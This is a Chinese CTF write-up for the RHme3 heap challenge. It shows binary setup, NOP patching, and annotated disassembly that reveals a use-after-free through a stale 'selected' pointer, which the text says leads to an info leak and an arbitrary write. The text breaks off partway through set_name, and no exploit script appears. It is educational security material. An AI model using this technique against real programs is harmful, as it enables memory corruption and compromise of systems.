CTF-All-In-One/doc/6.1.9_pwn_rhme3_exploitation.md
2018-08-05 17:43:10 +08:00

1032 lines
50 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.9 pwn RHme3 Exploitation
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.9_pwn_rhme3_exploitation)
## 题目复现
这个题目给出了二进制文件和 libc。
```text
$ file main.bin
main.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped
$ checksec -f main.bin
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 10 main.bin
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
```
64 位程序,保护措施除了 PIE 都开启了。
但其实这个程序并不能运行,它是一个线下赛的题目,会对做一些环境检查和处理,直接 nop 掉就好了:
```text
| 0x004021ad bf18264000 mov edi, 0x402618
| 0x004021b2 e87ceeffff call sym.background_process
| 0x004021b7 bf39050000 mov edi, 0x539 ; 1337
| 0x004021bc e85eefffff call sym.serve_forever
| 0x004021c1 8945f8 mov dword [local_8h], eax
| 0x004021c4 8b45f8 mov eax, dword [local_8h]
| 0x004021c7 89c7 mov edi, eax
| 0x004021c9 e8c6f0ffff call sym.set_io
```
```text
$ python2 -c 'print "90"*33' > nop.txt
```
```text
[0x00400ec0]> s 0x004021ad
[0x004021ad]> cat ./nop.txt
909090909090909090909090909090909090909090909090909090909090909090
[0x004021ad]> wxf ./nop.txt
```
最后把它运行起来:
```text
$ socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc-2.23.so ./main.elf" &
```
## 题目解析
玩一下,一看就是堆利用的题目:
```text
$ ./main.elf
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice:
```
程序就是添加、删除、编辑和显示球员信息。但要注意的是在编辑和显示球员前,需要先选择球员,这一点很重要。
添加两个球员看看:
```text
Your choice: 1
Found free slot: 0
Enter player name: aaaa
Enter attack points: 1
Enter defense points: 2
Enter speed: 3
Enter precision: 4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1
Found free slot: 1
Enter player name: bbbb
Enter attack points: 5
Enter defense points: 6
Enter speed: 7
Enter precision: 8
```
试着选中第一个球员,然后删除它:
```text
Your choice: 3
Enter index: 0
Player selected!
Name: aaaa
A/D/S/P: 1,2,3,4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 2
Enter index: 0
She's gone!
```
接下来直接显示该球员信息:
```text
Your choice: 5
Name:
A/D/S/P: 29082240,0,3,4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 6
Your team:
Player 0
Name: bbbb
A/D/S/P: 5,6,7,8
```
奇怪的事情发生了,程序没有提醒我们球员不存在,而是直接读取了内存中的信息。
于是我们猜测,程序在 free 球员时没有将 select 的值置空,导致了 use-after-free 的问题。关于 UAF 已经在前面的章节中讲过了。
很明显,每个球员都是一个下面这样的结构体:
```c
struct player {
int32_t attack_pts;
int32_t defense_pts;
int32_t speed;
int32_t precision;
char *name;
}
```
### 静态分析
先来看一下添加球员的过程,函数 `sym.add_player`
```text
[0x00400ec0]> pdf @ sym.add_player
/ (fcn) sym.add_player 789
| sym.add_player ();
| ; var int local_11ch @ rbp-0x11c
| ; var int local_118h @ rbp-0x118
| ; var int local_110h @ rbp-0x110
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x00402235 (main + 148)
| 0x00401801 55 push rbp
| 0x00401802 4889e5 mov rbp, rsp
| 0x00401805 4881ec200100. sub rsp, 0x120
| 0x0040180c 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00401815 488945f8 mov qword [local_8h], rax
| 0x00401819 31c0 xor eax, eax
| 0x0040181b 48c785e8feff. mov qword [local_118h], 0
| 0x00401826 c785e4feffff. mov dword [local_11ch], 0 ; player 编号初始值为 0
| ,=< 0x00401830 eb07 jmp 0x401839
| | ; JMP XREF from 0x00401853 (sym.add_player)
| .--> 0x00401832 8385e4feffff. add dword [local_11ch], 1 ; 编号加 1
| :| ; JMP XREF from 0x00401830 (sym.add_player)
| :`-> 0x00401839 83bde4feffff. cmp dword [local_11ch], 0xa ; [0xa:4]=-1 ; 10
| :,=< 0x00401840 7713 ja 0x401855
| :| 0x00401842 8b85e4feffff mov eax, dword [local_11ch]
| :| 0x00401848 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
| :| 0x00401850 4885c0 test rax, rax
| `==< 0x00401853 75dd jne 0x401832
| | ; JMP XREF from 0x00401840 (sym.add_player)
| `-> 0x00401855 83bde4feffff. cmp dword [local_11ch], 0xb ; [0xb:4]=-1 ; 11
| ,=< 0x0040185c 751e jne 0x40187c
| | 0x0040185e bf70244000 mov edi, str.Maximum_number_of_players_reached ; 0x402470 ; "Maximum number of players reached!"
| | 0x00401863 e818f4ffff call sym.imp.puts ; int puts(const char *s)
| | 0x00401868 488b05f11820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| | 0x0040186f 4889c7 mov rdi, rax
| | 0x00401872 e849f5ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ,==< 0x00401877 e984020000 jmp 0x401b00
| || ; JMP XREF from 0x0040185c (sym.add_player)
| |`-> 0x0040187c 8b85e4feffff mov eax, dword [local_11ch]
| | 0x00401882 89c6 mov esi, eax
| | 0x00401884 bf93244000 mov edi, str.Found_free_slot:__d ; 0x402493 ; "Found free slot: %d\n"
| | 0x00401889 b800000000 mov eax, 0
| | 0x0040188e e86df4ffff call sym.imp.printf ; int printf(const char *format)
| | 0x00401893 488b05c61820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| | 0x0040189a 4889c7 mov rdi, rax
| | 0x0040189d e81ef5ffff call sym.imp.fflush ; int fflush(FILE *stream)
| | 0x004018a2 bf18000000 mov edi, 0x18 ; 24
| | 0x004018a7 e804f5ffff call sym.imp.malloc ; void *malloc(size_t size) ; 第一个 malloc给 player 结构体分配空间
| | 0x004018ac 488985e8feff. mov qword [local_118h], rax ; 返回地址 rax -> [local_118h]
| | 0x004018b3 4883bde8feff. cmp qword [local_118h], 0
| |,=< 0x004018bb 751e jne 0x4018db
| || 0x004018bd bfa8244000 mov edi, 0x4024a8
| || 0x004018c2 e8b9f3ffff call sym.imp.puts ; int puts(const char *s)
| || 0x004018c7 488b05921820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| || 0x004018ce 4889c7 mov rdi, rax
| || 0x004018d1 e8eaf4ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ,===< 0x004018d6 e925020000 jmp 0x401b00
| ||| ; JMP XREF from 0x004018bb (sym.add_player)
| ||`-> 0x004018db 488b85e8feff. mov rax, qword [local_118h]
| || 0x004018e2 ba18000000 mov edx, 0x18 ; 24
| || 0x004018e7 be00000000 mov esi, 0
| || 0x004018ec 4889c7 mov rdi, rax
| || 0x004018ef e82cf4ffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| || 0x004018f4 bfbb244000 mov edi, str.Enter_player_name: ; 0x4024bb ; "Enter player name: "
| || 0x004018f9 b800000000 mov eax, 0
| || 0x004018fe e8fdf3ffff call sym.imp.printf ; int printf(const char *format)
| || 0x00401903 488b05561820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| || 0x0040190a 4889c7 mov rdi, rax
| || 0x0040190d e8aef4ffff call sym.imp.fflush ; int fflush(FILE *stream)
| || 0x00401912 488d85f0feff. lea rax, rbp - 0x110
| || 0x00401919 ba00010000 mov edx, 0x100 ; 256
| || 0x0040191e be00000000 mov esi, 0
| || 0x00401923 4889c7 mov rdi, rax
| || 0x00401926 e8f5f3ffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| || 0x0040192b 488d85f0feff. lea rax, rbp - 0x110
| || 0x00401932 be00010000 mov esi, 0x100 ; 256
| || 0x00401937 4889c7 mov rdi, rax
| || 0x0040193a e884fbffff call sym.readline
| || 0x0040193f 488d85f0feff. lea rax, rbp - 0x110 ; 读入字符串到 rbp - 0x110
| || 0x00401946 4889c7 mov rdi, rax
| || 0x00401949 e852f3ffff call sym.imp.strlen ; size_t strlen(const char *s) ; player.name 长度
| || 0x0040194e 4883c001 add rax, 1 ; 长度加 1
| || 0x00401952 4889c7 mov rdi, rax
| || 0x00401955 e856f4ffff call sym.imp.malloc ; void *malloc(size_t size) ; 第二个 malloc给 player.name 分配空间
| || 0x0040195a 4889c2 mov rdx, rax ; 返回地址 rax -> rdx
| || 0x0040195d 488b85e8feff. mov rax, qword [local_118h] ; player 结构体 [local_118h] -> rax
| || 0x00401964 48895010 mov qword [rax + 0x10], rdx ; player.name 存放到 [rax + 0x10]
| || 0x00401968 488b85e8feff. mov rax, qword [local_118h]
| || 0x0040196f 488b4010 mov rax, qword [rax + 0x10] ;
| || 0x00401973 4885c0 test rax, rax
| ||,=< 0x00401976 7523 jne 0x40199b
| ||| 0x00401978 bfcf244000 mov edi, str.Could_not_allocate ; 0x4024cf ; "Could not allocate!"
| ||| 0x0040197d b800000000 mov eax, 0
| ||| 0x00401982 e879f3ffff call sym.imp.printf ; int printf(const char *format)
| ||| 0x00401987 488b05d21720. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| ||| 0x0040198e 4889c7 mov rdi, rax
| ||| 0x00401991 e82af4ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ,====< 0x00401996 e965010000 jmp 0x401b00
| |||| ; JMP XREF from 0x00401976 (sym.add_player)
| |||`-> 0x0040199b 488b85e8feff. mov rax, qword [local_118h]
| ||| 0x004019a2 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 到 rax
| ||| 0x004019a6 488d95f0feff. lea rdx, rbp - 0x110 ; 取出 payler.name 字符串地址到 rdx
| ||| 0x004019ad 4889d6 mov rsi, rdx ; rdx -> rsi
| ||| 0x004019b0 4889c7 mov rdi, rax ; rax -> rdi
| ||| 0x004019b3 e8b8f2ffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src) ; 将字符串复制到 player.name 指向的地址
| ||| 0x004019b8 bfe3244000 mov edi, str.Enter_attack_points: ; 0x4024e3 ; "Enter attack points: "
| ||| 0x004019bd b800000000 mov eax, 0
| ||| 0x004019c2 e839f3ffff call sym.imp.printf ; int printf(const char *format)
| ||| 0x004019c7 488b05921720. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| ||| 0x004019ce 4889c7 mov rdi, rax
| ||| 0x004019d1 e8eaf3ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ||| 0x004019d6 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x004019dd be04000000 mov esi, 4
| ||| 0x004019e2 4889c7 mov rdi, rax
| ||| 0x004019e5 e8d9faffff call sym.readline ; 读入 attack_pts
| ||| 0x004019ea 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x004019f1 4889c7 mov rdi, rax
| ||| 0x004019f4 e847f4ffff call sym.imp.atoi ; int atoi(const char *str)
| ||| 0x004019f9 89c2 mov edx, eax
| ||| 0x004019fb 488b85e8feff. mov rax, qword [local_118h]
| ||| 0x00401a02 8910 mov dword [rax], edx ; 将 attack_pts 写入 local_118h
| ||| 0x00401a04 bff9244000 mov edi, str.Enter_defense_points: ; 0x4024f9 ; "Enter defense points: "
| ||| 0x00401a09 b800000000 mov eax, 0
| ||| 0x00401a0e e8edf2ffff call sym.imp.printf ; int printf(const char *format)
| ||| 0x00401a13 488b05461720. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| ||| 0x00401a1a 4889c7 mov rdi, rax
| ||| 0x00401a1d e89ef3ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ||| 0x00401a22 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x00401a29 be04000000 mov esi, 4
| ||| 0x00401a2e 4889c7 mov rdi, rax
| ||| 0x00401a31 e88dfaffff call sym.readline ; 读入 defense_pts
| ||| 0x00401a36 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x00401a3d 4889c7 mov rdi, rax
| ||| 0x00401a40 e8fbf3ffff call sym.imp.atoi ; int atoi(const char *str)
| ||| 0x00401a45 89c2 mov edx, eax
| ||| 0x00401a47 488b85e8feff. mov rax, qword [local_118h]
| ||| 0x00401a4e 895004 mov dword [rax + 4], edx ; 将 defense_pts 写入 local_118h + 4
| ||| 0x00401a51 bf10254000 mov edi, str.Enter_speed: ; 0x402510 ; "Enter speed: "
| ||| 0x00401a56 b800000000 mov eax, 0
| ||| 0x00401a5b e8a0f2ffff call sym.imp.printf ; int printf(const char *format)
| ||| 0x00401a60 488b05f91620. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| ||| 0x00401a67 4889c7 mov rdi, rax
| ||| 0x00401a6a e851f3ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ||| 0x00401a6f 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x00401a76 be04000000 mov esi, 4
| ||| 0x00401a7b 4889c7 mov rdi, rax
| ||| 0x00401a7e e840faffff call sym.readline ; 读入 speed
| ||| 0x00401a83 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x00401a8a 4889c7 mov rdi, rax
| ||| 0x00401a8d e8aef3ffff call sym.imp.atoi ; int atoi(const char *str)
| ||| 0x00401a92 89c2 mov edx, eax
| ||| 0x00401a94 488b85e8feff. mov rax, qword [local_118h]
| ||| 0x00401a9b 895008 mov dword [rax + 8], edx ; 将 speed 写入 local_118 + 8
| ||| 0x00401a9e bf1e254000 mov edi, str.Enter_precision: ; 0x40251e ; "Enter precision: "
| ||| 0x00401aa3 b800000000 mov eax, 0
| ||| 0x00401aa8 e853f2ffff call sym.imp.printf ; int printf(const char *format)
| ||| 0x00401aad 488b05ac1620. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| ||| 0x00401ab4 4889c7 mov rdi, rax
| ||| 0x00401ab7 e804f3ffff call sym.imp.fflush ; int fflush(FILE *stream)
| ||| 0x00401abc 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x00401ac3 be04000000 mov esi, 4
| ||| 0x00401ac8 4889c7 mov rdi, rax
| ||| 0x00401acb e8f3f9ffff call sym.readline ; 读入 precision
| ||| 0x00401ad0 488d85f0feff. lea rax, rbp - 0x110
| ||| 0x00401ad7 4889c7 mov rdi, rax
| ||| 0x00401ada e861f3ffff call sym.imp.atoi ; int atoi(const char *str)
| ||| 0x00401adf 89c2 mov edx, eax
| ||| 0x00401ae1 488b85e8feff. mov rax, qword [local_118h]
| ||| 0x00401ae8 89500c mov dword [rax + 0xc], edx ; 将 precision 写入 local_118h + 0xc
| ||| 0x00401aeb 8b85e4feffff mov eax, dword [local_11ch] ; player 编号
| ||| 0x00401af1 488b95e8feff. mov rdx, qword [local_118h] ; player 结构体
| ||| 0x00401af8 488914c58031. mov qword [rax*8 + obj.players], rdx ; [0x603180:8]=0 ; 当前 player 结构体地址写入 rax*8 + obj.players
| ||| ; JMP XREF from 0x00401996 (sym.add_player)
| ||| ; JMP XREF from 0x004018d6 (sym.add_player)
| ||| ; JMP XREF from 0x00401877 (sym.add_player)
| ```--> 0x00401b00 488b45f8 mov rax, qword [local_8h]
| 0x00401b04 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x00401b0d 7405 je 0x401b14
| | 0x00401b0f e8acf1ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00401b0d (sym.add_player)
| `-> 0x00401b14 c9 leave
\ 0x00401b15 c3 ret
```
该函数会做一些基本的检查,如球员最大数量等,然后开始添加球员的过程。根据我们的分析,`obj.players` 应该是一个全局数组,用于存放所有球员的地址。
```text
[0x00400ec0]> is~players
vaddr=0x00603180 paddr=0x00003180 ord=090 fwd=NONE sz=88 bind=GLOBAL type=OBJECT name=players
```
当球员添加完成后,就将其结构体地址添加到这个数组中。球员的选择过程就是通过这个数组完成的。
下面是选择球员的过程,函数 `sym.select_player`
```text
[0x00400ec0]> pdf @ sym.select_player
/ (fcn) sym.select_player 214
| sym.select_player ();
| ; var int local_14h @ rbp-0x14
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x0040224d (main + 172)
| 0x00401c05 55 push rbp
| 0x00401c06 4889e5 mov rbp, rsp
| 0x00401c09 4883ec20 sub rsp, 0x20
| 0x00401c0d 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00401c16 488945f8 mov qword [local_8h], rax
| 0x00401c1a 31c0 xor eax, eax
| 0x00401c1c bf30254000 mov edi, str.Enter_index: ; 0x402530 ; "Enter index: "
| 0x00401c21 b800000000 mov eax, 0
| 0x00401c26 e8d5f0ffff call sym.imp.printf ; int printf(const char *format)
| 0x00401c2b 488b052e1520. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| 0x00401c32 4889c7 mov rdi, rax
| 0x00401c35 e886f1ffff call sym.imp.fflush ; int fflush(FILE *stream)
| 0x00401c3a 488d45f0 lea rax, rbp - 0x10
| 0x00401c3e be04000000 mov esi, 4
| 0x00401c43 4889c7 mov rdi, rax
| 0x00401c46 e878f8ffff call sym.readline ; 读入球员编号
| 0x00401c4b 488d45f0 lea rax, rbp - 0x10
| 0x00401c4f 4889c7 mov rdi, rax
| 0x00401c52 e8e9f1ffff call sym.imp.atoi ; int atoi(const char *str)
| 0x00401c57 8945ec mov dword [local_14h], eax ; 编号 eax -> [local_14h]
| 0x00401c5a 837dec0a cmp dword [local_14h], 0xa ; [0xa:4]=-1 ; 10
| ,=< 0x00401c5e 7710 ja 0x401c70
| | 0x00401c60 8b45ec mov eax, dword [local_14h]
| | 0x00401c63 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
| | 0x00401c6b 4885c0 test rax, rax
| ,==< 0x00401c6e 751b jne 0x401c8b
| || ; JMP XREF from 0x00401c5e (sym.select_player)
| |`-> 0x00401c70 bf3e254000 mov edi, str.Invalid_index ; 0x40253e ; "Invalid index"
| | 0x00401c75 e806f0ffff call sym.imp.puts ; int puts(const char *s)
| | 0x00401c7a 488b05df1420. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| | 0x00401c81 4889c7 mov rdi, rax
| | 0x00401c84 e837f1ffff call sym.imp.fflush ; int fflush(FILE *stream)
| |,=< 0x00401c89 eb3a jmp 0x401cc5
| || ; JMP XREF from 0x00401c6e (sym.select_player)
| `--> 0x00401c8b 8b45ec mov eax, dword [local_14h] ; 取出编号 [local_14h] -> eax
| | 0x00401c8e 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
| | 0x00401c96 488905d31420. mov qword [obj.selected], rax ; [0x603170:8]=0 ; 将地址写入 [obj.selected]
| | 0x00401c9d bf58254000 mov edi, str.Player_selected ; 0x402558 ; "Player selected!"
| | 0x00401ca2 e8d9efffff call sym.imp.puts ; int puts(const char *s)
| | 0x00401ca7 488b05b21420. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| | 0x00401cae 4889c7 mov rdi, rax
| | 0x00401cb1 e80af1ffff call sym.imp.fflush ; int fflush(FILE *stream)
| | 0x00401cb6 488b05b31420. mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出球员地址
| | 0x00401cbd 4889c7 mov rdi, rax ; rax -> rdi
| | 0x00401cc0 e8c6faffff call sym.show_player_func ; 调用函数 sym.show_player_func 打印出球员信息
| | ; JMP XREF from 0x00401c89 (sym.select_player)
| `-> 0x00401cc5 488b45f8 mov rax, qword [local_8h]
| 0x00401cc9 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x00401cd2 7405 je 0x401cd9
| | 0x00401cd4 e8e7efffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00401cd2 (sym.select_player)
| `-> 0x00401cd9 c9 leave
\ 0x00401cda c3 ret
```
对象 `obj.selected` 是一个全局变量,用于存放选择的球员编号。
```text
[0x00400ec0]> is~selected
vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT name=selected
```
选中球员之后,打印球员信息的操作就是通过从 `obj.selected` 中获取球员地址实现的。
下面是删除球员的过程,函数 `sym.delete_player`
```text
[0x00400ec0]> pdf @ sym.delete_player
/ (fcn) sym.delete_player 239
| sym.delete_player ();
| ; var int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x00402241 (main + 160)
| 0x00401b16 55 push rbp
| 0x00401b17 4889e5 mov rbp, rsp
| 0x00401b1a 4883ec20 sub rsp, 0x20
| 0x00401b1e 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00401b27 488945f8 mov qword [local_8h], rax
| 0x00401b2b 31c0 xor eax, eax
| 0x00401b2d bf30254000 mov edi, str.Enter_index: ; 0x402530 ; "Enter index: "
| 0x00401b32 b800000000 mov eax, 0
| 0x00401b37 e8c4f1ffff call sym.imp.printf ; int printf(const char *format)
| 0x00401b3c 488b051d1620. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| 0x00401b43 4889c7 mov rdi, rax
| 0x00401b46 e875f2ffff call sym.imp.fflush ; int fflush(FILE *stream)
| 0x00401b4b 488d45f0 lea rax, rbp - 0x10
| 0x00401b4f be04000000 mov esi, 4
| 0x00401b54 4889c7 mov rdi, rax
| 0x00401b57 e867f9ffff call sym.readline ; 读入球员编号
| 0x00401b5c 488d45f0 lea rax, rbp - 0x10
| 0x00401b60 4889c7 mov rdi, rax
| 0x00401b63 e8d8f2ffff call sym.imp.atoi ; int atoi(const char *str)
| 0x00401b68 8945e4 mov dword [local_1ch], eax ; 编号 eax -> [local_1ch]
| 0x00401b6b 837de40a cmp dword [local_1ch], 0xa ; [0xa:4]=-1 ; 10
| ,=< 0x00401b6f 7710 ja 0x401b81
| | 0x00401b71 8b45e4 mov eax, dword [local_1ch]
| | 0x00401b74 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
| | 0x00401b7c 4885c0 test rax, rax
| ,==< 0x00401b7f 751b jne 0x401b9c
| || ; JMP XREF from 0x00401b6f (sym.delete_player)
| |`-> 0x00401b81 bf3e254000 mov edi, str.Invalid_index ; 0x40253e ; "Invalid index"
| | 0x00401b86 e8f5f0ffff call sym.imp.puts ; int puts(const char *s)
| | 0x00401b8b 488b05ce1520. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| | 0x00401b92 4889c7 mov rdi, rax
| | 0x00401b95 e826f2ffff call sym.imp.fflush ; int fflush(FILE *stream)
| |,=< 0x00401b9a eb53 jmp 0x401bef
| || ; JMP XREF from 0x00401b7f (sym.delete_player)
| `--> 0x00401b9c 8b45e4 mov eax, dword [local_1ch] ; 取出编号 [local_1ch] -> eax
| | 0x00401b9f 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
| | 0x00401ba7 488945e8 mov qword [local_18h], rax ; 将球员地址 rax 放入 [local_18h]
| | 0x00401bab 8b45e4 mov eax, dword [local_1ch] ; 取出编号 [local_1ch] -> eax
| | 0x00401bae 48c704c58031. mov qword [rax*8 + obj.players], 0 ; [0x603180:8]=0 ; 将 players 数组中的对应值置零
| | 0x00401bba 488b45e8 mov rax, qword [local_18h] ; 将球员地址 [local_18h] 放回 rax
| | 0x00401bbe 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 指向的字符串
| | 0x00401bc2 4889c7 mov rdi, rax ; 字符串地址 rax -> rdi
| | 0x00401bc5 e886f0ffff call sym.imp.free ; void free(void *ptr) ; 调用函数 free 释放球员名字
| | 0x00401bca 488b45e8 mov rax, qword [local_18h] ; 将球员地址 [local_18h] 放回 rax
| | 0x00401bce 4889c7 mov rdi, rax ; 球员地址 rax -> rdi
| | 0x00401bd1 e87af0ffff call sym.imp.free ; void free(void *ptr) ; 调用函数 free 释放球员结构体
| | 0x00401bd6 bf4c254000 mov edi, str.She_s_gone ; 0x40254c ; "She's gone!"
| | 0x00401bdb e8a0f0ffff call sym.imp.puts ; int puts(const char *s)
| | 0x00401be0 488b05791520. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| | 0x00401be7 4889c7 mov rdi, rax
| | 0x00401bea e8d1f1ffff call sym.imp.fflush ; int fflush(FILE *stream)
| | ; JMP XREF from 0x00401b9a (sym.delete_player)
| `-> 0x00401bef 488b45f8 mov rax, qword [local_8h]
| 0x00401bf3 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x00401bfc 7405 je 0x401c03
| | 0x00401bfe e8bdf0ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00401bfc (sym.delete_player)
| `-> 0x00401c03 c9 leave
\ 0x00401c04 c3 ret
```
该函数首先释放掉球员的名字,然后释放掉球员的结构体。却没有对 `obj.selected` 做任何修改,而该对象中存放的是选中球员的地址,这就存在一个逻辑漏洞,如果我们在释放球员之前选中该球员,则可以继续使用这个指针对内存进行操作,即 UAF 漏洞。
最后看一下显示球员信息的过程,函数 `sym.show_player`
```text
[0x00400ec0]> pdf @ sym.show_player
/ (fcn) sym.show_player 99
| sym.show_player ();
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x00402265 (main + 196)
| 0x004020b4 55 push rbp
| 0x004020b5 4889e5 mov rbp, rsp
| 0x004020b8 4883ec10 sub rsp, 0x10
| 0x004020bc 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x004020c5 488945f8 mov qword [local_8h], rax
| 0x004020c9 31c0 xor eax, eax
| 0x004020cb 488b059e1020. mov rax, qword [obj.selected] ; [0x603170:8]=0
| 0x004020d2 4885c0 test rax, rax
| ,=< 0x004020d5 751b jne 0x4020f2
| | 0x004020d7 bfe8254000 mov edi, str.No_player_selected_index ; 0x4025e8 ; "No player selected index"
| | 0x004020dc e89febffff call sym.imp.puts ; int puts(const char *s)
| | 0x004020e1 488b05781020. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| | 0x004020e8 4889c7 mov rdi, rax
| | 0x004020eb e8d0ecffff call sym.imp.fflush ; int fflush(FILE *stream)
| ,==< 0x004020f0 eb0f jmp 0x402101
| || ; JMP XREF from 0x004020d5 (sym.show_player)
| |`-> 0x004020f2 488b05771020. mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
| | 0x004020f9 4889c7 mov rdi, rax ; 球员地址 rax -> rdi
| | 0x004020fc e88af6ffff call sym.show_player_func ; 调用函数 sym.show_player_func 打印出球员信息
| | ; JMP XREF from 0x004020f0 (sym.show_player)
| `--> 0x00402101 488b45f8 mov rax, qword [local_8h]
| 0x00402105 644833042528. xor rax, qword fs:[0x28]
| ,=< 0x0040210e 7405 je 0x402115
| | 0x00402110 e8abebffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x0040210e (sym.show_player)
| `-> 0x00402115 c9 leave
\ 0x00402116 c3 ret
```
在该函数中,也未检查选中球员是否还存在,这就导致了信息泄露。
函数 `sym.edit_player` 可以调用函数 `sym.set_name` 修改 player name但其也不会对 selected 的值做检查,配合上信息泄露,可以导致任意地址写。
```text
[0x00400ec0]> pdf @ sym.set_name
/ (fcn) sym.set_name 281
| sym.set_name ();
| ; var int local_128h @ rbp-0x128
| ; var int local_120h @ rbp-0x120
| ; var int local_18h @ rbp-0x18
| ; CALL XREF from 0x00402058 (sym.edit_player + 101)
| 0x00401cdb 55 push rbp
| 0x00401cdc 4889e5 mov rbp, rsp
| 0x00401cdf 53 push rbx
| 0x00401ce0 4881ec280100. sub rsp, 0x128
| 0x00401ce7 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00401cf0 488945e8 mov qword [local_18h], rax
| 0x00401cf4 31c0 xor eax, eax
| 0x00401cf6 bf69254000 mov edi, str.Enter_new_name: ; 0x402569 ; "Enter new name: "
| 0x00401cfb b800000000 mov eax, 0
| 0x00401d00 e8fbefffff call sym.imp.printf ; int printf(const char *format)
| 0x00401d05 488b05541420. mov rax, qword [obj.stdout] ; [0x603160:8]=0
| 0x00401d0c 4889c7 mov rdi, rax
| 0x00401d0f e8acf0ffff call sym.imp.fflush ; int fflush(FILE *stream)
| 0x00401d14 488d85e0feff. lea rax, rbp - 0x120
| 0x00401d1b be00010000 mov esi, 0x100 ; 256
| 0x00401d20 4889c7 mov rdi, rax
| 0x00401d23 e89bf7ffff call sym.readline ; 读入修改的字符串,即 system 的地址
| 0x00401d28 488d85e0feff. lea rax, rbp - 0x120
| 0x00401d2f 4889c7 mov rdi, rax
| 0x00401d32 e869efffff call sym.imp.strlen ; size_t strlen(const char *s)
| 0x00401d37 4889c3 mov rbx, rax
